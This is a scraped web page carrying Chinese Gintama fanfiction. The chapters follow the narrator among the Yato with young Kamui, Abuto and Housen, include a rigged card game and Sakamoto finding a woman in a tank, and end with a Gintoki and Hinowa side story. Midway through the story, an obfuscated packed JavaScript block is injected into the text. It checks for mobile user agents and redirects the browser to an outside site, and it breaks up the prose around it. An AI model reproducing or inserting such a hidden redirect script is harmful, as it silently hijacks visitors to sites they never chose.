“莫非,他也是阿尔塔纳产生的?”神晃神情一凛,沉声道。 江华摇摇头,“不清楚,但……很奇怪,我没有这种感觉。” 阿尔塔纳又是什么东西?我一脸懵然,神晃见状也觉得可能性不大,他说若是阿尔塔纳产生出来的人,自己是最清楚的。 “我不是那个产生出来的,是这样的,我被两个来自特莱姆星的天人陷害,时间出现停止。但我找不到他们……也不知道这个星球在哪里。” “如果是找星球的话,我倒是可以帮忙。”神晃想了想,朝我道。他常年在宇宙探索,虽然没听过这个星球,但也许将来会遇到这个星球。 “真的?那太好了……如果有消息,请到地球江户歌舞伎町2XX号,通知一个名叫月见萤的姑娘。如果她还没去那里,你就在登势酒馆留个消息吧。”我生怕他忘记,还写了备忘录。 神晃和江华不解,“为什么不是通知你?” 我搔搔头,不知道怎么说,我自己也不知道能保持这个身体多久。反正,多年后我是一定在地球的。 有了外援,我的希望又多了一层。不打扰夫妻团聚,我出门去找小孩子们。 “喂,”神威在屋角叫住我,“再跟我打一场。” 我翻了个白眼,抱手靠在墙上,“小兔崽子,你吃了我的饭,还想着杀我,有良心吗?不会痛吗?” “良心那种东西,谁要拿去。”神威沉眸,气势吓人。 “你又要离开了吗?不能不走吗?” 江华虚弱的声音传来,我和神威对望一眼,麻利地出手捂着他的嘴躲到屋后。 偷听人家夫妻私话是有点过分,但……带着神威跑走的话万一被发现岂不是很尴尬? 这对夫妻的私话也太深奥了吧……我总算是知道江华的病因了。 徨安之主……一个星球的阿尔塔纳产生出来的结晶,离开了那个星球就会凋落的花儿。为了跟所爱之人同生,为了家人,她放弃了永生,在这里等着耗尽自己的生命,也不愿意离开自己的家人。 作为旁观者,我感叹爱情的伟大,对这种为家人牺牲的决定动容,但……神威作为他们的孩子,明显接受不了。他一直希望能保护的母亲,自己选择了毁灭;一直要他变强否则无法保护家人的父亲,却是母亲死忙的推手。 挣脱我的手,神威追着神晃的背影而去。我看着重新下起大雨的天空,叹了口气,“这样做值得吗?江华。” 靠在门口的江华闻言笑了,美丽而哀伤,眼中的温柔却如海般深邃,“比起永恒的生命,在无边的寂寥里头慢慢地独自活着,我更希望能与所爱之人同生共死……我并不是为了家人牺牲,而是选择了我爱的人和神威兄妹。” 生命没有尽头的话,还算是生命吗? 没有理由地,我想起了松阳,那些人说的那位大人我至今没明白是什么意思。神晃说每个星球都有阿尔塔纳这种东西,那么……徨安造就了江华,地球呢? 胸口莫名一疼,我下意识地觉得,这个问题不能深究下去,现在也没有人能给我答案。 28.夜兔的本能 小兔崽子好像一夜之间成长了不少般,眼神有了少年的意气。 我坐在夜兔同伴中喝着茶,好整以暇地看神威挑战阿伏兔。这种不对等的武力挑战是不可能激起阿伏兔那家伙的战意,他对夜兔的传承比我想象中要重视。 “上啊,阿伏兔,我们团的男人不能输啊。”看不惯他的退让,我意思意思地助威,身边的夜兔们也看好戏般吆喝。 猛地,神威被他的退让激怒,用力一踢。那一记没落在阿伏兔身上,被突然出现的男人接下了。 我们瞬间安静下来,那个男人一头灰发,披着斗篷,面容刚毅霸气,浑身散发着肃杀之气。 那是,春雨第七师团的团长,年轻时期的夜王凤仙。 我打量着现在的凤仙,眼神坚定冷酷,只要站在那就是王者之态。想起那个被群殴倒在阳光下的老者,我顿悟酒色果然是男人魅力的杀猪刀,意志和身体都会被轻易摧毁。 凤仙跟阿伏兔不一样,他对每一个对手都会以拳头认真回应,所以神威和阿伏兔都悲催了。 “想变强吗?那就先了解自己的弱小,那个时候再来吧。”丢下一句算得上鼓励的话,凤仙扬长而去。 给神威简单包扎一下,小兔崽子要死不活的样子让我有点陌生。那个笑容灿烂地大杀四方的小哥,也曾有过这么迷惘的时候?不,或者说,他从来没找对过方向。 出走的爸,病弱的妈,年幼的妹妹迷惘的他……唉,难怪长大后那么扭曲。 “别emo了,等下请你吃饭吧。人啊,只有吃饱,才会想那么多问题。”人类只有在温饱的前提下才会纠结其他,不然就不会那么闲。 “呐……”神威沉默良久,声音低得宛如喃喃自语,“强大到底是什么……我搞不明白。为了保护自己和家人忍让挨打,还是为了保护去伤害别人?还是独自战斗?到底哪一样才是强大……怎样才算是变强?” 【我们会变强,不但是你,还有老师和大家,都会保护起来的。】 我想起同样是这个年纪的小武士们,他们从迷惘到坚定,立志为了保护家人而变得强大。这样对比起来,神威的精神世界差远了。 果然,松阳的教育还是成功的。 “强大什么的我不太懂。但我知道,等待别人来救是很无助的,所以,变强吧,自己强大才能保护自己和家人。” 比起为了杀人而强大,为了保护而强大的路能走得更远。因为无尽的杀戮,并不能丰富一个人的灵魂,也不能创造出如锁链般坚定的羁绊。而有限生命的意义,不就是这些创造过程和存在于世间的联系么? “是么?不需要等待别人来救……不需要弱者。” 神威看着我,眼神逐渐坚定起来。 我被他的目光看得心下发毛,总觉得神威的反应跟我想的有点不一样,他的理解应该没错吧。 “我要……打倒那个男人。”神威揉了揉手腕,稚嫩的嗓音压得低沉,有一种不属于这个年纪的狠厉。 “谁?凤仙?那你死心吧,现在的你是不行的。”将来也不行,凤仙是被众人打倒的,在他追逐着太阳忘记了初心之后。我随手把胶布贴在他脸蛋上,好奇地问,“你挑战凤仙的目的是什么?加入春雨吗?” 神威吃痛地甩开我的手,低着头,“我要让他把我和妈妈带走……带去她原本的星球。” 这个理由真的喷不了……我沉默了一下,叹口气在他瞪视下揉了揉他的头,“小子,能带走你妈妈的只有她自己和你老子,要决定一个女人命运的话你还不够格。你妈妈要是想要离开,根本不需要你来带。” “那个男人,只会害死妈妈……如果他不在才能让妈妈离开,那么我就打倒他!”那双湛蓝的眸子里全是杀意,神威像是立了什么决心一般,穿上外衣便转身离开。 我看着他的背影,头疼地低叹,“阿伏兔啊,男人真的不会教育下一代……将来我的孩子,绝对不要交给不靠谱的男人来教。” …… 良久之后,躺在另一边的阿伏兔忍无可忍地喷道,“云锣你就是个男的啊!你是男人哪来生孩子当妈妈?你取向没问题吧!” 我就说孩子的教育不能指望父亲! 看着跟着凤仙上船的神威,我嘴角抽了抽。那孩子真的砍掉自己父亲的手,跟凤仙跑了啊……孩子跟恐怖分子跑了,作为父亲都不会阻止……啊不对,他手都被砍断了,但就不能好好谈谈心吗? “你到底知不知道自己上了什么船啊?兔崽子。”抱手盯着把脸都埋进碗里的神威,我义正辞严地教训道。 “贼船。”神威舔了舔碗里最后一滴汤,抬眸杀气十足,“我要变强,强到成为宇宙海贼王。” “跑错片场了吧……”我无语。 “拉面不好吃,我要米饭。”把巨碗递到我面前,神威理所当然地要求。 我抬手,一拳把他砸进桌面里头,“要吃去饭堂吃,老子又不是你老妈子,凭什么要我做?要求别人的时候好歹给个笑容啊白痴。” 不懂货的蠢兔子,拉面比米饭好吃多了,我做得有几松的八成味道好吧。 “那,给我米饭,谢谢。”神威忽然绽出笑容,纯良得跟神乐有的一拼,活像个不谙世事的天真少年。可惜这个笑容如昙花般放了一下便收回了,他继续面无表情地伸手。 “你……还是去饭堂吧,不用客气。” 接下来的时间,我开始感到无语。老实说,我也不知道为什么跟神威的关系会变得密切起来。他几乎每天都要搞几次突袭,大部分会被我一拳砸进墙壁里,但他依然乐此不彼,甚至有越来越频繁的趋势。 “多好啊,云锣,你可以提前体验带娃了。”阿伏兔拉耸着眼皮,嘲笑地指着我和神威,完全无视了我差点脱臼的手臂和神威一头的绷带,“就当是你生娃前的实习了。” “阿伏兔,云锣一个粗汉,生什么娃啊。”一个夜兔伙伴笑哈哈地拍拍我的肩。 阿伏兔诡异地挤眉弄眼,我看得一头黑线,不想解释。 饱含恶意的视线扫过来,我们几人瞬间面容一整,收起笑容,谨慎地环顾。如今所处的是春雨第七师团的飞船,凤仙这几天动作频频,很多春雨高层和其他师团的人也上了这艘船。 那些带着敌意和探究的视线就来自这些人。 “啊咧啊咧,看来老板又给我们出难题了。”阿伏兔无奈地搔搔头,看向我,“喂,云锣和小兔子,当心哦。” 我不以为然,来到春雨后,我已经熟悉那些血的味道,也熟悉怎么在最短的时间内干掉敌人。幸好那些敌人长得都像游戏里头的NPC,我还能当玩真人CS游戏,不然真的要崩溃。 “小兔子,你期待的加练对象好像有了,加油吧。”我意思意思地揪了揪神威头顶的呆毛,站起来甩过斗篷,眼神鄙夷地扫向那些人。 擦肩而过之际,我们夜兔一行目不斜视,任由鲜血飞溅,蓝色衣裳的野猪头天人一行全体拦腰被打断,前突的双目还来不及闭上。 隐晦的抽气声四起,我甩掉沾上的血迹,无视神威稚嫩的脸庞上那点点血斑,抽搐着眼角一马当先领着他们走出饭堂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012208|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“云锣,坚持住,别吐啊!”阿伏兔提心吊胆地叮嘱,生怕我毁掉夜兔刚建立起来的形象。 ……………… …………………… ………… 不对劲! 逃避解决不了问题,第七师团也没有避风头的说法,我们几乎是每天都活在偷袭之中。也不知道春雨那些人是怎么想,死了那么多人也没处罚或者其他指令。该说真不愧是反派吗?完全不在于弱者生死。 但是……我总觉得不对劲。宇宙的日子不分白昼黑夜,我也不知道过了多长时间,只是这种偷袭,好像针对我和神威? 四处肆流的鲜血仿佛蜿蜒的红蛇,蜿蜒爬行而去,缓缓归于死神的足下。绝望的哀吟来自灵魂最后的呐喊,消散在满是腥味的空气里。 我踩在温热的鲜红之中,刹那间恍然,胸膛内的心脏剧烈地跳动,整个灵魂仿佛在共振。淡淡地掠过一堆堆的残骸,抬头望向坐在尸体上的少年。 橘红色的辫子已经被染红,伤痕累累的少年嘴角飞扬,笑容看起来很阳光,一双眸子却紧缩着瞳孔,翻滚着骇人的杀意。此刻他正难掩兴奋地舔着手上的鲜血,如同嗜血的恶魔,抬头看向我,“怎么,这么快就到极限了?” “神威……你到底……”是了,不对劲的地方就是他!偷袭的人除了一开始的无差别,后来基本都集中在我和神威这里,尤其是我们落单的时候。 而神威,不知道为什么,始终跟在我身边,仿佛在等待什么。 “可不行哦,云锣……连夜兔本能都不曾体验,怎么算强者?”神威咧出狰狞的笑容,身影爆闪。 数道身影围绕而至,我的心脏猛烈收缩,咬着牙跃后躲开激光剑的横劈,随即被神威踢中腹部,整个人跌进方才被我杀掉的尸体中。 撑在地上的手指猛地握紧,在地上抓出血痕,我牙关紧要,阻止不了那种杀戮的冲动席卷身体每一个细胞。眼角欲裂,我恨恨地瞪着高居临下的神威,“你个混蛋兔崽子……” 话音未落,数柄激光剑落在我原本的位置,我猛地爆闪到神威身后,使劲飞踢。 神威侧身翻倒,我飞快地抓着他的脚腕,狠狠把人砸向一边。碎石横飞,烟尘滚滚才刚起,一道迅猛身影破尘而出。 太快了,神威那小子什么时候这么快?我挡下他的攻击,抬眸触及一双森冷的蓝眸,里头翻涌的杀意没有半分熟悉感。 不是正常的神威,甚至不是那个在吉原看到过的神威!他此刻眼中没有半点情绪,只有无尽的杀戮,仿佛被什么东西操控一般。这就是……阿伏兔曾说过的夜兔本能吗? 才一个晃神,激光剑劈过后背带来一阵剧痛,我骇然瞪大眼,神威白皙的手指已抓在我胸口,指尖深陷在我的皮肤。 嘭嘭!心脏骤然紧缩,一道兴奋的嗓音从心底响彻整个灵魂。 让我来吧,老子不好过你们全都别想活! 眼前忽然一黑,然后画面瞬间比方才清晰几倍,我甚至能看到身后袭击而来的军装天人。 “啊啦,开始了吗?” 因杀意而大咧的唇角上扬得更高,神威语调欢脱,出手极狠地踹向我胸腹。 猛地出手抓着他的脚,我不受控制地把他旋飞,砸向偷袭的天人们。须臾间,身边鲜血四溅,我清楚看到我的手刀狠狠劈在绿色天人的脖子,那个头颅就这样飞了出去。 杀吧,把他们都杀光,这样我的世界便不会再有血了。 脑子里不断回响着这句话,我的身体像是自主般行动,飞快地穿梭在鲜血之间。眼前的一切从红色,慢慢变为纯粹的黑。 29.神奇的兔子 吃力地张开眼,入目的是白色的天花,随即浑身的痛让我轻吟出声,“妈的……” “一醒来就喊妈妈,不太好吧。”懒散的嗓音从边上传来。 我忍着酸痛扭过头,看到阿伏兔坐在一边,双腿交叠放在桌面上,脸上覆盖着一本熟女杂志。 “我……怎么了?”我记得失去意识前是在……杀戮。那种从灵魂而生的暴动让我心底发寒,血腥味宛如萦绕在鼻端,让我的胃部一阵抽动。 阿伏兔沉默了一下,慢条斯理地拿下脸上的杂志,“没什么大不了,不过是夜兔的本能控制了你而已。” “夜兔的……本能?”我抬起手,粗糙的指尖仍有血迹未洗干净。 “啊,没想到你平时摸鱼厉害,杀起来还挺疯狂,还有那只小兔子……我们可是去了两条人命才把你们制服。真是的,凤仙大人到底在想什么啊?这一天天的,专门找些麻烦给我们,团长都这样的话我们作为下属也很烦恼啊。”阿伏兔搔着头,没什么精神地抱怨着,“神威那小子……大概从那些人上船起就在算计了吧,你也是倒霉。” 是么?难怪他一直有意无意地跟着我,也难怪那些人针对着我。那小兔崽子……怎么忽然有这个心机?为了变强吗?可是,这跟我有什么关系啊? 莫名其妙的心酸袭上,杀人还不够,我还要变成杀戮狂人吗?还要被这些所谓的本能控制吗?失去理智的战场,根本就不是人的战场,那是恶鬼的餐桌罢了! “阿伏兔……借我靠一下。”我默默地坐起来,朝他伸手。 “昂?”阿伏兔不明所以地坐过来,还没坐稳便被我一把抱住。他整个人僵住,双手举起,“喂喂,哥是个正常的男人,就算找也不会找你这样的粗汉啊喂!” “呜哇——阿伏兔,我要回家啊!这里的人好可怕……” “你现在更可怕啊混蛋!一个大男人哭成这样很丑啊!快放开……”阿伏兔忍耐地别过头,深呼吸好几下才极度勉强地拍了拍我的背,“别这样啊云锣,坚强点!放开我,两个大男人抱一起很恶心啊……yue……” “阿伏兔杀了我吧,我再也不能忍受了……我要做回自己,我要当女人……” 就在我们牵扯之际,门忽然被按开,一身绷带缠着的神威面无表情地出现在门口,蓝眸眨了眨,慢慢地抬手关门。 “大人的世界真是复杂……打扰了,你们继续。” …… “等一下,你别误会啊!大人的世界没这么复杂的啊——”阿伏兔尔康手求救。 杀意盎然的蓝眸满是兴奋,神威连招呼都不打一个便扑了过来,我冷哼一记,一拳把他砸进了地下。 踩着那根呆毛碾了碾,我阴沉地朝埋在地里的人道,“别碍事,小兔崽子,今天老子要去跟打boss。” 电动门打开,那个男人一身黑色中式卦服,好整以暇地坐在房间里喝酒。梳着大背头露出一张戾气十足的脸庞,那双狭眸时刻酝酿着杀气。 男人不意外我的到来,连眼尾都没扫过来,慢慢抬手抿了口酒。 “凤仙大人,你要调教一个新的团长也别拉上我啊。”我粗鲁地坐在他对面,破罐子破摔般直接道。 不管了,就算是害怕,就算是怕痛,死在夜兔手上也罢了,大不了回到那个天花板。虽然不记得彩票号码,但凭银时在我手里那么多弱点,总有出头天的! “哼哼,你不是强了很多吗?比以前那副懦弱的蠢样顺眼多了。”凤仙冷笑着放下杯子,抱手环胸看过来,“原本打算看看那小子极限在哪里,没想到有意外之喜。” 我……我……你强你说了算…… 我深呼吸压下赴死的欲望,临走前江华让我帮忙照顾神威,我总得在他当上团长后再找死。唉,女人果然奸诈,约定这种事太让人头疼了。 “你那种叫太极的体术,对夜兔的克制短时间内挺大的。”凤仙忽然提起我之前跟阿伏兔打斗时用过的招式,微微沉吟,“以力量为优势的夜兔,对上这种招式确实有些不妙。但就你目前的实力,也没有太大的优势。” 凤仙在打斗上确实很有见地,我忍不住认真请教起来,“力量和速度都无法轻易被压制,就算四两拨千斤,也不过是避开伤害。” “但是,这些避开大量重复,便能让对手产生负面心理,破绽也会增多。”凤仙对手下变强没有什么限制,因为他太强了,不会惧怕下面的人追上来。 探讨了一番后,我有些惊叹他对格斗的理解和改进,这样的强者未来落得那种下场,真不知道是该同情还是可惜。当然,这些都不是他给吉原女人,尤其是日轮带来那么大伤害的豁免。 “凤仙大人是打算去吉原?”我话音才落,凤仙那道狠辣的视线已杀了过来,我有一种被利刃捅胸的错觉。 “怎样,你打算跟着吗?” 这语气压根儿就不是想带跟班的意思,也是,他是为了囚禁日轮去的吧。我识趣地摇摇头,“我有一事相求。” “哦?要老夫帮忙,那得付出代价。”凤仙颇感兴趣地道,“打败我,你才有资格提要求。” 我脸色深沉地点点头,破釜沉舟般按在桌子上,“老板,我们来一局吧!” 凤仙狭眸一眯,大手探向身边的巨伞。 啪的一下,我把扑克牌和骰盅从怀里掏出放在桌面上,任君选择地摊手,“船上找不到UNO或者其他,只有这两个了,老板你喜欢哪个?” 拿着伞蓄势待发的凤仙:…… 连输了四局骰子后,我开始怀疑自己,难道是因为换了个身体,连技术和运气都失去了吗? 看了眼对面意气风发的凤仙,我手指都有点僵硬了。 打架强也就算了,为什么连赌术都如此精湛?日后输给银时那群人真的有点冤……要不劝他不要去吉原那种堕落的地方算了。 “哼,就这三脚猫功夫也好意思……”不知道是不是我输多了的错觉,凤仙笑得有点嘚瑟。 看来,不得不出绝招了。 换上扑克牌,凤仙豪爽地表示只要我赢一局,便可提要求。 捻起底牌,我看了眼自己的翻开的牌,又看了看凤仙的。都是顺子的趋势,我的红心和他的黑桃,彼此都是10,J,Q,K,只要我拿到红心A,就还有机会…… “你要的是这个吧。”像是看穿了我的想法,凤仙干脆地翻开最后一张牌,红心A。 他的顺子凑成了,虽然不是同花顺。 我脸色一白,额角都有汗了,“老板,人生啊,就是不断在做选择题。除了红心A,我也可以是红心9。” 我慢条斯理地翻出最后一张牌,同花顺,赢了! 凤仙脸色一变,浑身迸发的气势慑人。就在我以为他不爽要翻盘之际,他忽然哈哈大笑起来,“不错,提你的要求吧。要我放过那小子吗?” 诶?我一愣,连忙摇手,“不不不,怎么可以放过那小子?你使劲折磨他没关系,我完全没有意见。但凤仙大人,我希望你去吉原后能帮忙关照一个人。” 凤仙难得露出愕然的神色,敛了笑容后才抬眸看向我,“你想要什么?” “那个,吉原有个叫月见萤的小姑娘,能善待她吗?”我底气不足地提出要求。 现在那小姑娘应该还在百华训练中,虽然不知道她会经历什么,但若是可以,我想要给她或者说是未来的我一个机会。 “也不是说要特别别照顾她,只是……能让她自己选择人生吗?” 吉原的游女基本都没资格选择,也没有任何选择,她们的黑暗有未来的坂田银时来打破,那是他们的因缘。现在的我,只希望能为那个死在天花板里,被我取代的小姑娘做些什么。至少,让她仅属于自己的人生,有那么一点的光。 “你的女人?”凤仙的眸底有一丝杀意。 “不不不,我没去过吉原,只是受人所托罢了。”月见萤才几岁大……我面不改色地胡扯,“她是一个朋友爱慕的女人生的小孩。” 他答应了! 我愣愣地站在门口,不太相信那个凤仙这么干脆地答应了,连再追问一下都没有!现在的凤仙这么好说话吗?还是我胡扯的话哪里牵动了他的感触? “喂,云锣,你在老板门口发什么呆?”阿伏兔走了过来,拍了拍我的肩膀。 斗篷里被他碰了一下,衣摆动了动,跌出一张牌。 “这是什么?红心A?”阿伏兔啧了一下,拉耸的眼皮扬了扬。 “不,”我心虚地拿过牌塞进裤兜,正经脸道,“这是奇迹。” “啊?” 凤仙离开春雨了,尽管安排了继任人,但第七师团还是隐约有种群龙无首的混乱。因为,那位继任人自己也是个混乱的好战分子。 “啊咧啊咧,以为之前老板麻烦,没想到现在的团长更麻烦……”阿伏兔今天第N次叹气,原本就疏于打理的面容更显沧桑,仿佛老了几岁,直接从年轻人进化为大叔。 “不是挺好的吗?你一直想带娃来着,副团长~”我抱着手靠在墙上,意思意思地揶揄道。 “不,想带娃的是你,云锣,别以为我不知道是你跟凤仙大人说我适合当副团长的!”阿伏兔就算是骂人也一副懒散样,没多少威胁。 “那是因为你背九九乘法表输给我,而且都上任了就不要再抗拒了,副团长,你先去把我们团长带回来吧。”我低头看了眼溅到脚边的血,叹口气,“再让他杀下去,笨蛋提督派来的人就要全军覆没了。” 虽然那些人本来就带着试探第七师团新团长的想法,但全灭的话,报告要我们自己写不划算啊。 阿伏兔抓乱了一头黄毛,苦大仇深地看向那边血腥的杀戮场,“现在过去的话,得去半条命吧。” 我怎么知道?我又不是副团长。耸肩摊手,我无视掉阿伏兔的求助眼神。 血的味道已不会挑动我胃部的不适了,但看着满室的鲜红,这种宛如极残酷凶案现场的画面还是让人觉得脊背发寒。 自从几天前去了一趟烙阳回来,神威的情绪就明显不对劲。尽管他平时也爱撩是斗非,找人干架把杀人当乐趣,但……这样没有理智的样子还真是少见。夜兔的本能几乎主宰他了,眼里没有一丝清醒。 我看向窗外一片漆黑的宇宙,隐约觉得那个美丽而虚弱的女人大概是离开了这个世界。她那漫长而寂寥的一生,终于还是在爱人和家人的陪伴下终结了。 这何尝不是一种幸福?可惜的是,那个自觉已经没有需要保护的东西的笨蛋不能理解,甚至陷入了另一种极端。 蓦地,胸口一阵撕裂般的剧痛。我骇然瞪大眼,手按着胸口,心如刀绞的痛感瞬间席卷我全身。 不对劲,明明没有动手,也没有战意,为何那种夜兔本能觉醒的感觉会出现? “喂,云锣,怎么又发呆了?”阿伏兔还没想到不用去死就可以阻止神威的方法,回头看了我一眼,“别袖手旁观了,赶快过来跟我一起把团长搞掂吧。” 心跳平稳,那一刻的剧痛宛如错觉。我抬头看了眼那边,能在现在神威掌下活着的还有几个人,好像是其他 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啊嘞,奇怪,被穿的是肚子,但我痛的是心脏…… 眼前的画面一暗,我看到两个人影,是谁?敌人吗? 一抹冷白的光闪了一下,那是……刀?我猛地睁大眼,骇然地看着眼前脸色比我更恐惧,一副见鬼了模样的少年。 ……………… ………… 后记一样的东西(上帝视觉) ……………… ………… 杀光了所有站着的人后,神威坐在堆叠的尸体上,高居临下地俯视着躺在地上的人。 那张脸几乎被胡子覆盖,眼神是死前的震惊,壮硕的身体上全是鲜红,肚子还插着一只断手。 啧,该凸起的地方都不对,死都死得这么丑,比他穿着围裙做饭还要滑稽。 一旁的尸体堆动了动,一只手伸了出来。用力搬开身上的尸体,阿伏兔一头血地爬起来,蹲在同伴身边。 “都说了,得去半条命才能阻止团长。怎么就不警觉些呢?”夜兔族已经濒临绝种了,多死一个他都觉得可惜。“喂,团长,清醒些了吗?” “阿伏兔,我要变得更强。”神威偏头笑了,白皙脸蛋上沾着快要干的血迹,轻轻一擦便糊了一片。 阿伏兔抽了抽嘴角,叹口气,“变强之前,能把报告写了吗?” “不是有你吗?副团长~”神威跳下来,蹲在他身边。 “能不能不要在这种时候想起你有副团长这个事?”阿伏兔开始觉得自己心境都苍老了不少。明明少了个会抱着自己哭诉的壮汉,怎么还会有这种前路更无奈的预感呢? “呐,阿伏兔,变强吧。”站起来俯视着那具尸体,神威冷淡的眼神不带一丝情绪,“太弱就没有存在的意义了。” 阿伏兔动作一顿,低着头,没赞同也没反驳。 在春雨这里,太弱确实不行。同时,心太软也不行啊。 同一时间,在距离烙阳以光年计算的地球上。 少年难以置信地抬首看着面前巨大的玻璃休眠仓,说不出话来。 盛满培养液的玻璃休眠仓里,女人一身简便的男装,不算长的黑发在液体里头飘扬,面容看得出十分漂亮。而最让人惊讶的,是她胸口插着一柄贯穿身体的长刀。 “坂本,你在磨蹭什么?快撤……”同伴吆喝的话猛地顿住,他也看到了这个巨大机器里头的人,“这是……人类?” “真是过分呢,把我们的同类关在这里。”坂本辰马勾唇,眼底却没有一丝笑意,握着长刀的手紧了紧。 银白色得冷光骤闪,玻璃瞬间碎裂,不明的液体四溅,里头的人顺着水流倒进少年张开的怀中。 “啊哈哈,别担心,我们把你带出去好好安葬。”坂本辰马蹲在地上,怀中的温度低得可怕,他却丝毫不在乎。伸手握上插在女人胸口的刀,用力地拔出。 “啊嘞,有点难办……”坂本辰马眨了眨眼,疑惑低喃。 这刀他单手居然拔不出来,这让他的自信心有些受挫。他耶,在剑术上从来没试过这样挫败。 “混蛋,你干什么啊!在人家姑娘胸口乱来是要被揍的!”看他动作像是在捅人行凶般,同伴一脸崩溃地揍了他一记。 “拔不出来,赶紧来帮帮忙。”坂本辰马为自己争辩了一下,“这刀插得太死了。” “这话真想让人抽你……”同伴没撤地上前,双手握着刀柄,“诶,是因为冰住了吗?真的好难拔出来。” “啊哈哈哈……可能插太久了,就跟勇者那把宝剑一样,在石头里很难拔出来。哦,动了,我果然是勇者啊哈哈哈……”坂本辰马惊喜地拔出刀,抬眸看着那把刀身依然锋利的长刀,“这刀看着……诶,怎么了?” 眼角瞥到同伴脸色顿时惨白,颤抖着手指指着他,坂本辰马不解地顺着他的手指慢慢低下头,错愕地对上一双琥珀色的漂亮眸子。 “啊哈哈哈……呐,好像诈……诈尸了。”冷汗瞬间潺潺地冒出来,坂本辰马一时间不知道该把怀中的人甩开,还是该把刀插回她胸口。 “总,总之……先放开她啊白痴!”同伴踉跄地退后,跌坐在地上,腿软得无力站起来。 啊哈,还,还是插回去吧……坂本辰马主意才定,衣襟猛地被一双手紧紧揪着,他瞳孔颤抖地低头。 女人愤慨地瞪着他,声音沙哑又暴躁。 “混蛋,痛死人了!” “啊……咧?” 30.番外,落水之后 【代我……向老师问好。】 坂田银时拼命撑着最后一口气从混乱一片的房间里爬出来,外头已夜深,重新看到明月的那一刹那,他有种自己居然还活着的侥幸感。 太……太可怕了,不是很自责,很压抑,需要人安慰的吗?为什么才喝了口酒而已,整个人就从好不容易温柔一下的美艳太夫变成了无差别攻击的暴力女金刚? 托那些牺牲他的笨蛋们的福,他被揍得快去了半条命了。 【少年~你们将来就会懂,酒是好东西啊。高兴时它助兴,难过时它可以让人忘记一些事,生气时它可以让人爆发……】 忽然间,某人胡扯的话响在耳边,坂田银时眼神一愣,“啊嘞,一定是刚才被揍到头了,居然幻听了……” 就算不生气时也会让人爆发,好可怕,那喜欢胡说八道的混蛋居然说了句实话。 “银桑。”柔和的女嗓从走廊上传来。 坂田银时抬眸一看,月色下美丽温柔的太夫日轮摇着轮椅过来。 他顿时警惕起来,“喂喂,绕了阿银吧,那女金刚的这种待遇再来一次,就算是救世主也会马上死翘翘的。” 他再也不要上当了,就是这个女人半含担忧半含哀怨的眼神祈求他帮忙去宽慰月咏,他才会差点死在这里。 说实话,他宁愿再去跟地雷亚打一场,也不想要被一个他根本不能还手的女人单方面完虐。 爬起来打了个酒嗝,还好月咏酒品烂但酒量也差,不然就他们还真活不到明天太阳出来。 嗯,主要是他活不到。 “啊哈……辛苦你了呢,救世主桑~”日轮笑得很是心虚,她之前真的不知道月咏喝了酒能这样彪悍,那战斗力杠杠上升。看了眼室内睡得四平八稳的月咏和累极睡了一地的孩子们,日轮轻轻合上门。 交握在膝盖上的手紧了紧,她抬头看着靠在走廊栏杆上打哈欠的男人,轻声问道,“呐,银桑,阿萤她……真的没问题吗?” 那日他们受到地雷亚的攻击,月咏被带走了,全藏把重伤的坂田银时带了回来并告知她一起跌下海的还有阿萤,但他找了许久都没找到那个女人。 昏迷三天才醒来的坂田银时知道后也没说什么,只是让他们先解决吉原的危机。 “那家伙没事……她只是……去了其他地方而已。” 日轮急得团团转的时候,他是这样说的。 然后,他就像是忘记了这个人一样,该救人救人,该打架打架,甚至在新八和神乐提出要去找阿萤时阻止了他们。 “银桑,你知道阿萤去哪里,是吧?”日轮事后问过全藏,他是亲眼看着阿萤落海的,也确实没有在海里找到人。 全藏的实力日轮清楚,如果他没找到,那阿萤…… “啊啊,都说了不用担心,你就别替那家伙着急了。”坂田银时搔着一头乱发,语气有点颓靡,死鱼眼无精打采地半阖着。 “可是……”日轮不安地看了眼外头吉原的夜色,阿萤是因为她想要见一下才来吉原的,本来她就不应该回来。 “她的话,不用担心……她啊,应该去了一个很好的地方……吧。” 看向外头被月色笼罩下灯火通明的街道,坂田银时双手撑在栏杆上轻声道,表情难得认真,语气少见的温柔。 这是第一次,日轮从这个习惯以懒散掩饰的男人眼中看到那么多复杂的情绪流转,怀念,羡慕,还有一些她看不懂的柔和,但很快他便闭起眼伸了个懒腰,再次张开时眼中依然是惯有的漫不经心和懒散。 “看来,银桑跟阿萤真的是认识很久了呢。”日轮在那日看他们一起时就有这种奇怪的感觉,新八也吐槽过,但她觉得奇怪。因为那个女孩的生平基本都在吉原,偏偏眼前的人就连提起她的语气都不像是陌生人。 甚至,比提起她们更……随意和熟悉,熟到连名字都很少认真提及却让人都知道说的是她。 “这个嘛……不是哦。阿银只是认识现在和之后的她。”如果她还会回来的话。坂田银时打了个大大的哈欠,红眸眨了眨,语意不详地随口道。 日轮看着他良久,缓缓笑了起来,“是么……那她会回来的吧。阿萤的话,我还没好好跟她聚聚。” 坂田银时揉了揉肩膀,起身准备离开,“谁知道啊……也许会,也许不会了。有什么好聚,她不是一直想要结束这一切的么?大概会直接去三途川撑船了。” 日轮捂唇轻笑,“啊啦,银桑这样说的话也太过分了,阿萤回来要揍你哦。” “是么……可是她回来,阿银也会很烦恼耶……开出的空头支票太多,要兑现的话有点麻烦。”他搔着头,口吻很是烦恼,但偏头的瞬间日轮敏锐看到他唇边扬起一抹意味不明的笑。 看起来像是期待,却又有些苦涩。 坂田银时摇了摇手,想着她若真的回来的话……嗯,还是觉得糟糕。答应的事,好像一件都还没做到呢,她的话,肯定会连本带利讨回去。 哎,那个麻烦的女人。 那个背影懒懒地驮着肩背,看起来颓废,脚步也是轻重不一的踉跄,活脱脱一副醉汉倒下前的倔强。但是……日轮却放心地笑了起来。 “说什么三途川呢,明明就很期待……男人真是不坦率的呢,救世主桑。” 望着天边的明月,日轮想起了那天女人的笑容,那精致的眉眼,飞扬的英气……日轮覆在栏杆上的手蓦地一紧。 她好像……变了不少。只是……以前的阿萤,是怎么样的呢?日轮忽然不太记得起来了。 